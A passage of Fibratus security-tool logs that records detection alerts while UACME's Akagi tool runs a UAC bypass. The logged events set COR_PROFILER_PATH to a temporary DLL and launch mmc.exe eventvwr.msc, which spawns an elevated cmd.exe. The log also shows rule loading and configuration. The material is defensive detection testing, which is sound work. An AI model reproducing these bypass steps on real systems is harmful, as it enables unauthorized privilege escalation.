Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 10558 + Pid: 17804 + Tid: 9240 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 16:28:52.7667072 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1f3f71000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009c28080, name➜ cmd.exe, pid➜ 7236, ppid➜ 17804, real_ppid➜ 17804, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 16:28:52.7666593 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17804 + Ppid: 4240 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T16:29:10+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 11175 + Pid: 17424 + Tid: 18256 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 16:29:09.4478342 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac6e250, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17424 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 11624 + Pid: 14828 + Tid: 1976 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 16:29:10.1130158 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 5e6a4000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080097b2080, name➜ cmd.exe, pid➜ 17848, ppid➜ 14828, real_ppid➜ 14828, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 16:29:10.1129652 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14828 + Ppid: 17424 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T16:29:18+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 12129 + Pid: 16044 + Tid: 16964 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 16:29:17.1792626 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac6e250, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 16044 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 12580 + Pid: 12576 + Tid: 15628 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 16:29:17.8511989 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 41162e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080048e6080, name➜ cmd.exe, pid➜ 18108, ppid➜ 12576, real_ppid➜ 12576, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 16:29:17.8511419 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 12576 + Ppid: 16044 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T16:54:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T16:54:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T16:54:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:02:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:02:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:02:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:02:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:02:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:02:41+01:00 level=info msg=bootstrapping with pid 9080. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:02:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... 